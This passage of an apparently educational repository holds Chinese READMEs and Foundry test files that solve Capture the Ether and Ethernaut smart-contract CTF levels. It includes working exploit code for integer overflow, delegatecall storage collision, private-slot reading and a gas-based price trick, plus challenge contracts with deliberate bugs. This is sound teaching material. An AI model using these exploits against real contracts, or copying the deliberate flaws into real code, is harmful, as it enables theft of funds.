官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Capture_the_Ether/Lotteries/Guess_the_number -vvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 根据 GuessTheNumberChallenge contract 里面的 guess 函数,当我们调用 guess 时,需要往合约里面转入 1 ether,并输入一个 uint8 类型的参数,如果参数等于 answer,42,就能从合约里面转移 2 ether 到调用者。 22 | ```solidity 23 | function guess(uint8 n) public payable { 24 | require(msg.value == 1 ether); 25 | 26 | if (n == answer) { 27 | payable(msg.sender).transfer(2 ether); 28 | } 29 | } 30 | ``` 31 | 32 | 因此在测试合约中的 setUp,我们先给 hacker 转入 1 ether 用于后续调用 guess,然后创建 GuessTheNumberChallenge。 33 | ```solidity 34 | function setUp() public { 35 | payable(hacker).transfer(1 ether); 36 | 37 | guessTheNumberChallenge = new GuessTheNumberChallenge{value: 1 ether}(); 38 | } 39 | ``` 40 | 41 | 在测试合约的 testGuessTheNumber 中,我们调用 guess,设置参数为 42,并携带 1 ether 就能成功完成挑战 42 | ```solidity 43 | vm.startPrank(hacker); 44 | guessTheNumberChallenge.guess{value: 1 ether}(42); 45 | vm.stopPrank(); 46 | ``` -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Token_sale/README.md: -------------------------------------------------------------------------------- 1 | # Token sale 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/math/token-sale/) 6 | 7 | 原题目要求 TokenSaleChallenge 合约的 ether 余额小于 1 ether。参与过程分成两步,第一步使用 ether 购买 token,第二步卖出 token。 8 | 9 | ## 运行 10 | 11 | **安装 Foundry** 12 | 13 | 根据 [Foundry 官方文档](https://getfoundry.sh/)配置好运行环境。 14 | 15 | **运行测试** 16 | 17 | ```sh 18 | $ cd WTF-CTF 19 | 20 | $ forge test -C src/Capture_the_Ether/Math/Token_sale -vvv 21 | ``` 22 | 23 | ## 功能简述 24 | 25 | TokenSaleChallenge 里面 buy 和 sell 的 token 价格都相同,常规办法无法使得合约的 ether balance 降低。 26 | 27 | 在原题 `^0.4.21` 版本下,所有的算术操作都是 unchecked,因此为了能够复现这个 Challenge,我给 buy 里面的某一行增加了 unchecked。 28 | 29 | 解决思路是,我们设置一个 numtokens,使得 `numTokens * PRICE_PER_TOKEN` 向上溢出,这样我们就花费了少量的 ether 得到了大量的 token。 30 | 31 | `UINT256_MAX / 1 ether + 1` 这个值相当于 UINT256_MAX 按照十进制右移 18 位再加 1。这样它乘以 1 ether 后肯定溢出,并且能够保证溢出后的数 val 小于 1 ether。 32 | 33 | ```solidity 34 | uint256 val; 35 | unchecked { 36 | val = (UINT256_MAX / 1 ether + 1) * 1 ether; 37 | } 38 | 39 | vm.startPrank(hacker); 40 | tokenSaleChallenge.buy{value: val}(UINT256_MAX / 1 ether + 1); 41 | 42 | emit log_named_uint("my new balance", hacker.balance); 43 | emit log_named_uint("tokenSaleChallenge balance", address(tokenSaleChallenge).balance); 44 | 45 | tokenSaleChallenge.sell(1); 46 | vm.stopPrank(); 47 | ``` -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Token_sale/TokenSaleChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./TokenSaleChallenge.sol"; 6 | 7 | contract TokenSaleChallengeTest is Test { 8 | TokenSaleChallenge public tokenSaleChallenge; 9 | address hacker = makeAddr("hacker"); 10 | 11 | function setUp() public { 12 | payable(hacker).transfer(1 ether); 13 | tokenSaleChallenge = new TokenSaleChallenge{value: 1 ether}(); 14 | } 15 | 16 | function testTokenSale() public { 17 | emit log_named_uint("my balance", hacker.balance); 18 | emit log_named_uint("tokenSaleChallenge's balance", address(tokenSaleChallenge).balance); 19 | 20 | uint256 val; 21 | unchecked { 22 | val = (UINT256_MAX / 1 ether + 1) * 1 ether; 23 | } 24 | 25 | vm.startPrank(hacker); 26 | tokenSaleChallenge.buy{value: val}(UINT256_MAX / 1 ether + 1); 27 | 28 | emit log_named_uint("my new balance", hacker.balance); 29 | emit log_named_uint("tokenSaleChallenge balance", address(tokenSaleChallenge).balance); 30 | 31 | tokenSaleChallenge.sell(1); 32 | vm.stopPrank(); 33 | 34 | emit log_named_uint("my new balance", hacker.balance); 35 | emit log_named_uint("tokenSaleChallenge balance", address(tokenSaleChallenge).balance); 36 | 37 | assertTrue(tokenSaleChallenge.isComplete()); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Token_whale/TokenWhaleChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./TokenWhaleChallenge.sol"; 6 | 7 | contract TokenWhaleChallengeTest is Test { 8 | TokenWhaleChallenge public tokenWhaleChallenge; 9 | 10 | address alice = makeAddr("alice"); 11 | address bob = makeAddr("bob"); 12 | 13 | function setUp() public { 14 | tokenWhaleChallenge = new TokenWhaleChallenge(alice); 15 | } 16 | 17 | function testTokenWhale() public { 18 | emit log_named_uint("token totalSupply", tokenWhaleChallenge.totalSupply()); 19 | emit log_named_uint("alice's token balance", tokenWhaleChallenge.balanceOf(alice)); 20 | emit log_named_uint("bob's token balance", tokenWhaleChallenge.balanceOf(bob)); 21 | 22 | vm.startPrank(bob); 23 | tokenWhaleChallenge.approve(alice, 1); 24 | vm.stopPrank(); 25 | 26 | vm.startPrank(alice); 27 | tokenWhaleChallenge.transfer(bob, 1000); 28 | tokenWhaleChallenge.transferFrom(bob, address(0), 1); 29 | vm.stopPrank(); 30 | 31 | emit log_named_uint("token totalSupply", tokenWhaleChallenge.totalSupply()); 32 | emit log_named_uint("alice's token balance", tokenWhaleChallenge.balanceOf(alice)); 33 | emit log_named_uint("bob's token balance", tokenWhaleChallenge.balanceOf(bob)); 34 | 35 | assertTrue(tokenWhaleChallenge.isComplete()); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Retirement_fund/RetirementFundChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract RetirementFundChallenge { 5 | uint256 constant YEAR = 365 days; 6 | 7 | uint256 startBalance; 8 | address owner = msg.sender; 9 | address beneficiary; 10 | uint256 expiration = block.timestamp + 10 * YEAR; 11 | 12 | constructor(address player) payable { 13 | require(msg.value == 1 ether); 14 | 15 | beneficiary = player; 16 | startBalance = msg.value; 17 | } 18 | 19 | function isComplete() public view returns (bool) { 20 | return address(this).balance == 0; 21 | } 22 | 23 | function withdraw() public { 24 | require(msg.sender == owner); 25 | 26 | if (block.timestamp < expiration) { 27 | // early withdrawal incurs a 10% penalty 28 | payable(msg.sender).transfer(address(this).balance * 9 / 10); 29 | } else { 30 | payable(msg.sender).transfer(address(this).balance); 31 | } 32 | } 33 | 34 | function collectPenalty() public { 35 | require(msg.sender == beneficiary); 36 | 37 | uint256 withdrawn; 38 | unchecked { 39 | withdrawn = startBalance - address(this).balance; 40 | } 41 | 42 | // an early withdrawal occurred 43 | require(withdrawn > 0); 44 | 45 | // penalty is what's left 46 | payable(msg.sender).transfer(address(this).balance); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/Ethernaut/DoubleEntryPoint/README.md: -------------------------------------------------------------------------------- 1 | # DoubleEntryPoint 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x34bD06F195756635a10A7018568E033bC15F3FB5) 6 | 7 | 找出错误`CryptoVault合约`错误,并防止它被耗尽token。 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/DoubleEntryPoint -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 题目说`CryptoVault`合约中有bug。经查:定位到`CryptoVault`合约将`DoubleEntryPointToken`代币设置为`underlying`不可sweep。但如果使用`LegacyToken`代币进行`sweep`时,`LegacyToken`代币的`transfer`会调用`DoubleEntryPoint`代币的`delegateTransfer`方法进行转移。那么在`CryptoVault`合约将`DoubleEntryPointToken`代币设置为`underlying`就无效了。 22 | 23 | bug找到,如何避免。 24 | 25 | `Forta`提供了一种预防方法。在`DoubleEntryPointToken`代币进行`delegateTransfer`时,会进行`fortaNotify`检测。`notify`函数中对外部函数调取了`try-catch`操作,所以在`notify`中进行`revert`等终止操作,是没有效果的。 26 | 27 | 但`fortaNotify`中会检测`botRaisedAlerts`是否进行了增加。所以可以通过增加`botRaisedAlerts`,达到结束交易的工作。 28 | 29 | 所以,当我们检测到转移`CryptoVault`合约中的`DoubleEntryPoint代币`时,增加`botRaisedAlerts`,结束交易。 30 | 31 | ```solidity 32 | function handleTransaction(address user, bytes calldata msgData) public override { 33 | (address to, uint256 value, address origSender) = abi.decode(msgData[4:], (address, uint256, address)); 34 | if (origSender == cryptoVault) { 35 | forta.raiseAlert(user); 36 | } 37 | } 38 | ``` 39 | 40 | 41 | 42 | 该题目给我们展示了一种处理合约bug的模式,除了使用代理模式实现合约可升级来处理合约中的bug。也可以在合约中实现类似Forta合约,针对合约中的函数在执行前调用外部合约来检测本次调用是否有危险操作。 -------------------------------------------------------------------------------- /src/Ethernaut/Gatekeeper_Three/GatekeeperThree.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./GatekeeperThreeFactory.sol"; 6 | 7 | contract GatekeeperThreeTest is Test { 8 | GatekeeperThreeFactory factory; 9 | 10 | function setUp() public { 11 | factory = new GatekeeperThreeFactory(); 12 | } 13 | 14 | function testGatekeeperThree() public { 15 | address player = vm.addr(uint256(keccak256("player"))); 16 | 17 | address gatekeeperThree = factory.createInstance(player); 18 | 19 | vm.startPrank(address(this), player); 20 | 21 | { 22 | // gateOne 23 | GatekeeperThree(payable(gatekeeperThree)).construct0r(); 24 | 25 | // gateTwo 26 | GatekeeperThree(payable(gatekeeperThree)).createTrick(); 27 | uint256 _password = 28 | uint256(vm.load(address(GatekeeperThree(payable(gatekeeperThree)).trick()), bytes32(uint256(2)))); 29 | GatekeeperThree(payable(gatekeeperThree)).getAllowance(_password); 30 | 31 | // gateThree 32 | payable(payable(gatekeeperThree)).call{value: 0.0011 ether}(""); 33 | 34 | // enter 35 | GatekeeperThree(payable(gatekeeperThree)).enter(); 36 | } 37 | vm.stopPrank(); 38 | 39 | assertTrue(factory.validateInstance(payable(gatekeeperThree), player)); 40 | } 41 | 42 | receive() external payable { 43 | revert(); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/Ethernaut/Shop/Shop.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./ShopFactory.sol"; 6 | 7 | contract ShopTest is Test, Buyer { 8 | ShopFactory factory; 9 | address shop; 10 | 11 | function setUp() public { 12 | factory = new ShopFactory(); 13 | shop = factory.createInstance(address(this)); 14 | } 15 | 16 | function price() external view returns (uint256) { 17 | if (Shop(shop).isSold()) { 18 | return 0; 19 | } else { 20 | return 200; 21 | } 22 | } 23 | 24 | function testShop() public { 25 | Shop(shop).buy(); 26 | 27 | assertTrue(factory.validateInstance(payable(shop), address(this))); 28 | } 29 | } 30 | 31 | contract Shop2Test is Test, Buyer { 32 | ShopFactory factory; 33 | address shop; 34 | 35 | uint256 justcostGas; 36 | 37 | function setUp() public { 38 | factory = new ShopFactory(); 39 | shop = factory.createInstance(address(this)); 40 | } 41 | 42 | function price() external view returns (uint256) { 43 | uint256 gasleftBefore = gasleft(); 44 | justcostGas + 1; 45 | if (gasleftBefore - gasleft() >= 2000) { 46 | return 200; 47 | } else { 48 | return 0; 49 | } 50 | } 51 | 52 | function testShop2() public { 53 | Shop(shop).buy(); 54 | 55 | assertTrue(factory.validateInstance(payable(shop), address(this))); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Fuzzy_identity/get_addr/src/main.rs: -------------------------------------------------------------------------------- 1 | use get_addr::calc_addr; 2 | use rand::Rng; 3 | 4 | fn main() { 5 | let factory_addr = 6 | hex::decode("5020029b077577aae04d569234b7fefa73e33784").expect("address must be in hex"); 7 | let code = hex::decode("608060405234801561001057600080fd5b50610121806100206000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c806306fdde031460375780636c4c174f146052575b600080fd5b640e6dac2e4f60db1b60405190815260200160405180910390f35b6061605d36600460bd565b6063565b005b6000819050806001600160a01b031663380c7a676040518163ffffffff1660e01b8152600401600060405180830381600087803b15801560a257600080fd5b505af115801560b5573d6000803e3d6000fd5b505050505050565b60006020828403121560ce57600080fd5b81356001600160a01b038116811460e457600080fd5b939250505056fea2646970667358221220fc6cbe37060c23bc84c7e434ee1e21e1304fd6a3a1ae223a7643f28b0fa784aa64736f6c63430008130033").expect("code must be in hex"); 8 | 9 | let mut rng = rand::thread_rng(); 10 | 11 | let mut fixed_addr = [0; 20]; 12 | let mut fixed_salt = [0; 32]; 13 | 14 | fixed_addr.copy_from_slice(&factory_addr[0..20]); 15 | 16 | loop { 17 | let salt: u64 = rng.gen(); 18 | fixed_salt[24..32].copy_from_slice(&salt.to_be_bytes()); 19 | let addr = calc_addr(&fixed_addr, &fixed_salt, &code); 20 | let addr = hex::encode(addr); 21 | 22 | if addr.contains("badc0de") { 23 | println!("addr: {}, nonce: {}", addr, salt); 24 | break; 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/Ethernaut/Recovery/README.md: -------------------------------------------------------------------------------- 1 | # Recovery 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xAF98ab8F2e2B24F42C661ed023237f5B7acAB048) 6 | 7 | 合约创建者构建了一个非常简单的代币工厂合约。任何人都可以轻松创建新代币。在部署第一个代币合约后,创建者发送`0.001`以太币以获得更多代币。但是他们忘记了新代币的合约地址。我需要将他们新部署的代币合约中的`0.001`以太币取出。 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Recovery -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 要将SimpleToken合约中的ether取出,只能调用destroy函数,将SimpleToken合约自毁以取出SimpleToken合约中所有的以太币。 22 | 23 | 那现在问题就变成了,我如何获取新部署SimpleToken合约地址。 24 | 25 | 1. 如果在真实环境中,你可以通过区块链浏览器,查看部署交易中的内部交易,其中会有新部署的SimpleToken合约的地址。 26 | 2. 计算合约地址有两种方式[create](https://github.com/AmazingAng/WTF-Solidity/tree/main/24_Create)和[create2](https://github.com/AmazingAng/WTF-Solidity/tree/main/25_Create2)两种方式,RecoveryFactory合约只通过create方法进行的合约部署。所以我们只需要知道RecoveryFactory合约在部署SimpleToken合约交易的nonce值,也可以知道SimpleToken合约地址。 27 | 28 | 在solidity中,计算合约地址的两种方式为 29 | 30 | ```solidity 31 | // create 32 | address newContractAddress = address(uint160(uint256(keccak256(abi.encodePacked( 33 | uint8(0xd6), // 固定值 34 | uint8(0x94), // 固定值 35 | address(this), //创建者地址 36 | uint8(0x01)// 创建者创建该合约的nonce值,合约地址nonce值从1开始算(eip-161),如果是eoa账户,nonce为零时,此值为0x80 37 | ))))) 38 | 39 | // create2 40 | address newContractAddress = address(uint160(uint(keccak256(abi.encodePacked( 41 | bytes1(0xff),// 固定值 42 | address(this),//创建者地址 43 | salt,// 盐,随机数 44 | keccak256(type(newContract).creationCode)//待部署合约的字节码 45 | ))))); 46 | ``` 47 | 48 | -------------------------------------------------------------------------------- /src/Ethernaut/MagicNumber/MagicNum.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity 0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import {HuffConfig} from "foundry-huff/HuffConfig.sol"; 6 | import {HuffDeployer} from "foundry-huff/HuffDeployer.sol"; 7 | import "./MagicNumFactory.sol"; 8 | 9 | contract MagicNumTest is Test { 10 | MagicNumFactory factory; 11 | address public solverHuff; 12 | address public solverAssembly; 13 | 14 | function setUp() public { 15 | factory = new MagicNumFactory(); 16 | 17 | solverHuff = HuffDeployer.config().with_evm_version("paris").deploy("Ethernaut/MagicNumber/Solver"); 18 | solverAssembly = address(new solver()); 19 | 20 | assertEq(Solver(address(solverAssembly)).whatIsTheMeaningOfLife(), bytes32(uint256(0x2a))); 21 | assertEq(Solver(address(solverHuff)).whatIsTheMeaningOfLife(), bytes32(uint256(0x2a))); 22 | } 23 | 24 | function testMagicNum() public { 25 | address magicNum = factory.createInstance{value: 0.001 ether}(address(this)); 26 | 27 | MagicNum(magicNum).setSolver(solverHuff); 28 | assertTrue(factory.validateInstance(payable(magicNum), address(this))); 29 | 30 | MagicNum(magicNum).setSolver(solverAssembly); 31 | assertTrue(factory.validateInstance(payable(magicNum), address(this))); 32 | } 33 | 34 | receive() external payable {} 35 | } 36 | 37 | contract solver { 38 | constructor() { 39 | assembly { 40 | mstore(0x00, 0x602a60005260206000f3) 41 | return(0x16, 0x0a) 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Public_Key/README.md: -------------------------------------------------------------------------------- 1 | # Public Key 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/accounts/public-key/) 6 | 7 | 原题目要求 PublicKeyChallenge 合约的 isComplete 状态变量为 true。但是原题 owner 地址仅在 Ropsten test network 有交易,Ropsten test network 已经关闭,因此在不损失一般性的情况下,我们将 Challenge 里面的 owner 修改为 vitalik.eth 的地址:`0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045`。 8 | 9 | ## 运行 10 | 11 | **安装 Foundry** 12 | 13 | 根据 [Foundry 官方文档](https://getfoundry.sh/)配置好运行环境。 14 | 15 | **安装 Rust** 16 | ```sh 17 | $ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh 18 | ``` 19 | 并根据提示继续操作。 20 | 21 | **从交易获取公钥** 22 | 23 | ```sh 24 | $ cd WTF-CTF 25 | 26 | $ cargo run --bin pubkey 27 | Compiling pubkey v0.1.0 (/Users/flyq/workspace/github/flyq/WTF-CTF/src/Capture_the_Ether/Accounts/Public_Key/pubkey) 28 | Finished dev [unoptimized + debuginfo] target(s) in 1.52s 29 | Running `target/debug/pubkey` 30 | public key: e95ba0b752d75197a8bad8d2e6ed4b9eb60a1e8b08d257927d0df4f3ea6860992aac5e614a83f1ebe4019300373591268da38871df019f694f8e3190e493e711 31 | address: 0xd8da6bf26964af9d7eed9e03e53415d37aa96045 32 | ``` 33 | Rust 源码在 [Public_Key/pubkey](./pubkey/) 34 | 35 | 将 public key 添加到 PublicChallenge.t.sol(已添加好),直接运行测试: 36 | 37 | **运行测试** 38 | 39 | ```sh 40 | $ cd WTF-CTF 41 | 42 | $ forge test -C src/Capture_the_Ether/Accounts/Public_Key -vvv 43 | ``` 44 | 45 | ## 功能简述 46 | 47 | 这个 Challenge 需要找到指定地址的公钥。我们通过在链上获取该地址发起的交易,里面包含签名,可以恢复出公钥。 48 | 49 | 在 pubkey rust 代码中,先用 ethers 从链上获取某笔交易,并从交易中获取签名用的 hash(和 tx hash 还不一样),以及签名的字段:v, r, s。 50 | 51 | 然后使用一些 crypto 库,k256 以及 elliptic_curve 恢复出公钥。 52 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Warmup/Choose_a_nickname/README.md: -------------------------------------------------------------------------------- 1 | # Choose a nickname 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/warmup/nickname/) 6 | 7 | 原题目要求调用 Ropsten test network 上 CaptureTheEther 合约 (`0x71c46Ed333C35e4E6c62D32dc7C8F00D125b4fee`) 的 setNickname 函数,以便用于 leaderboard 的展示。我们根据实际情况,修改合约里面的 solidity 版本为 `^0.8.19`,并使用 forge test 在本地模拟这个过程。 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Capture_the_Ether/Warmup/Choose_a_nickname -vvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 根据 NicknameChallenge contract 里面使用 msg.sender 来创建 CaptureTheEther contract 的对象,推测 CaptureTheEther contract 有部署 NicknameChallenge contract 的逻辑,但是题目里面把这块省略了: 22 | ```solidity 23 | contract NicknameChallenge { 24 | CaptureTheEther cte = CaptureTheEther(msg.sender); 25 | ... 26 | } 27 | ``` 28 | 29 | 在 NicknameChallenge.t.sol 中,通过 setUp() 进行初始化设置,我们先创建 CaptureTheEther 合约,然后使用作弊码 startPrank 为所有后续调用设置 msg.sender 为 captureTheEther 地址,直到调用 stopPrank: 30 | ```solidity 31 | function setUp() public { 32 | captureTheEther = new CaptureTheEther(); 33 | 34 | vm.startPrank(address(captureTheEther)); 35 | nicknameChallenge = new NicknameChallenge(hacker); 36 | vm.stopPrank(); 37 | } 38 | ``` 39 | 40 | 然后,我们在测试函数 testNickname() 里面使用作弊码 startPrank 为所有后续调用设置 msg.sender 为 hacker 地址,并调用 setNickname: 41 | ```solidity 42 | vm.startPrank(hacker); 43 | // set my name to UINT256_MAX 44 | captureTheEther.setNickname(bytes32(UINT256_MAX)); 45 | vm.stopPrank(); 46 | ``` -------------------------------------------------------------------------------- /src/Ethernaut/Gatekeeper_Three/README.md: -------------------------------------------------------------------------------- 1 | # Gatekeeper Three 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x5B50F1F5fE2Bef0a0429fD27B8214d856066F45e) 6 | 7 | Gatekeeper Three,我是你的破壁人。 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Gatekeeper_Three -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 1. 对于gateOne,需要使用攻击合约调用`GatekeeperThree`合约,并且这个攻击合约地址还要是`GatekeeperThree`合约的`owner`。 22 | 23 | - `GatekeeperThree`合约在设置`owner`时,将构造函数`constructor`错误地写为了`construct0r`。所以攻击合约需要调用一次`construct0r`函数,成为`owner`。 24 | 25 | ```solidity 26 | GatekeeperThree(payable(gatekeeperThree)).construct0r(); 27 | ``` 28 | 29 | 2. 对于gateTwo,需要将`GatekeeperThree`合约的`allow_enterance`变量从`false`转为`true`。 30 | 31 | - `allow_enterance`变量只能在`getAllowance`函数中调用`trick`合约的`checkPassword`函数成功返回`true`时,才能修改为`true`。而`trick`合约的`checkPassword`函数需要判断传入的`_password`是否与合约存储的私有变量`password`相同。可链上没有私有数据。 32 | 33 | 通过读取`trick`合约内存插槽`slot2`中存储的值,即可知道`password`。 34 | 35 | ```solidity 36 | uint256 _password = 37 | uint256(vm.load(address(GatekeeperThree(payable(gatekeeperThree)).trick()), bytes32(uint256(2)))); 38 | ``` 39 | 40 | 3. 对于gateThree,需要给`GatekeeperThree`合约转大于`0.001 ether`,并且我们的攻击合约在接收`ETH`时需要失败。 41 | 42 | - 在调用`GatekeeperThree`合约的同时转移大于`0.001 ether`,并且在攻击合约的`receive `函数中无脑revert就好。 43 | 44 | ```solidity 45 | receive() external payable { 46 | revert(); 47 | } 48 | ``` 49 | 50 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Predict_the_future/PredictTheFutureChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./PredictTheFutureChallenge.sol"; 6 | import "./Attacker.sol"; 7 | 8 | contract PredictTheFutureChallengeTest is Test { 9 | PredictTheFutureChallenge public predictTheFutureChallenge; 10 | address hacker = makeAddr("hacker"); 11 | 12 | function setUp() public { 13 | payable(hacker).transfer(1 ether); 14 | 15 | predictTheFutureChallenge = new PredictTheFutureChallenge{value: 1 ether}(); 16 | } 17 | 18 | function testPredictTheFurture() public { 19 | emit log_named_uint("my balance", hacker.balance); 20 | emit log_named_uint("predictTheFutureChallenge's balance", address(predictTheFutureChallenge).balance); 21 | 22 | vm.startPrank(hacker); 23 | Attacker attacker = new Attacker(address(predictTheFutureChallenge)); 24 | attacker.lockInGuess{value: 1 ether}(6); 25 | 26 | /* 27 | // TODO 28 | uint blockNum = block.number; 29 | uint i = 1; 30 | 31 | while(there are reverts) { 32 | vm.roll(blockNum + i); 33 | 34 | attacker.attack(); 35 | 36 | ++i; 37 | } 38 | */ 39 | 40 | vm.stopPrank(); 41 | 42 | emit log_named_uint("my new value", hacker.balance); 43 | emit log_named_uint("predictTheFutureChallenge's new balance", address(predictTheFutureChallenge).balance); 44 | 45 | // assertTrue(predictTheFutureChallenge.isComplete()); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/Ethernaut/Preservation/README.md: -------------------------------------------------------------------------------- 1 | # Preservation 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x7ae0655F0Ee1e7752D7C62493CEa1E69A810e2ed) 6 | 7 | 获得Preservation合约的owner权限 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Preservation -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | Preservation 合约使用 delegatecall 时只会使用 LibraryContract合约的代码逻辑。 22 | 23 | LibraryContract合约寻找变量时会按照 LibraryContract合约变量所在的插槽寻找 Preservation合约对应插槽中的变量。 24 | 25 | 首先调用 Preservation合约的 setFirstTime函数,函数参数为:Attack合约的地址。此时,Preservation合约中的timeZone1Library变量就修改为了Attack合约的地址。 26 | 27 | ```solidity 28 | Preservation(preservation).setFirstTime(uint256(uint160(attack))); 29 | ``` 30 | 31 | 然后再调用 Preservation合约的 setFirstTime函数,函数参数为:我的账户地址。因为Attack合约寻找变量时会按照 Attack合约变量所在的插槽寻找 Preservation合约对应插槽中的变量。从而改变owner账户的地址。 32 | 33 | ```solidity 34 | Preservation(preservation).setFirstTime(uint256(uint160(address(this)))); 35 | ``` 36 | 37 | 所以,在使用代理调用delegatecall时,需要保证proxy合约和implementation合约的内存插槽不要有冲突,如果proxy合约中有变量,implementation合约中就不要使用proxy合约中变量占据的插槽位置。另一个解决办法是proxy合约存储变量时尽量指定插槽位置,不使用默认从0开始的插槽排布 38 | 39 | ```solidity 40 | assembly { 41 | param.slot := slot 42 | } 43 | ``` 44 | 45 | 具体,可以查看[ERC-1967: Proxy Storage Slots](https://eips.ethereum.org/EIPS/eip-1967)或openzeppelin对代理合约的[实现](https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/proxy)和[文档](https://docs.openzeppelin.com/contracts/4.x/api/proxy),另外[ERC-2535: Diamonds, Multi-Facet Proxy](https://eips.ethereum.org/EIPS/eip-2535) 可以同时代理多个合约。 -------------------------------------------------------------------------------- /src/Ethernaut/Dex/DexFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./Dex.sol"; 7 | import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; 8 | 9 | contract DexFactory is Level { 10 | function createInstance(address _player) public payable override returns (address) { 11 | Dex instance = new Dex(); 12 | address instanceAddress = address(instance); 13 | 14 | SwappableToken tokenInstance = new SwappableToken(instanceAddress, "Token 1", "TKN1", 110); 15 | SwappableToken tokenInstanceTwo = new SwappableToken(instanceAddress, "Token 2", "TKN2", 110); 16 | 17 | address tokenInstanceAddress = address(tokenInstance); 18 | address tokenInstanceTwoAddress = address(tokenInstanceTwo); 19 | 20 | instance.setTokens(tokenInstanceAddress, tokenInstanceTwoAddress); 21 | 22 | tokenInstance.approve(instanceAddress, 100); 23 | tokenInstanceTwo.approve(instanceAddress, 100); 24 | 25 | instance.addLiquidity(tokenInstanceAddress, 100); 26 | instance.addLiquidity(tokenInstanceTwoAddress, 100); 27 | 28 | tokenInstance.transfer(_player, 10); 29 | tokenInstanceTwo.transfer(_player, 10); 30 | 31 | return instanceAddress; 32 | } 33 | 34 | function validateInstance(address payable _instance, address) public view override returns (bool) { 35 | address token1 = Dex(_instance).token1(); 36 | address token2 = Dex(_instance).token2(); 37 | return IERC20(token1).balanceOf(_instance) == 0 || ERC20(token2).balanceOf(_instance) == 0; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/utils/BytesDeployer.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.19; 4 | 5 | import "forge-std/Test.sol"; 6 | 7 | contract Deployer is Test { 8 | ///@notice Compiles a contract before 0.6.0 and returns the address that the contract was deployed to 9 | ///@notice If deployment fails, an error will be thrown 10 | ///@param path - The path of the contract. For example, the file name for "MappingChallenge.sol" is 11 | /// "src/Capture_the_Ether/Math/Mapping/MappingChallenge.sol" 12 | 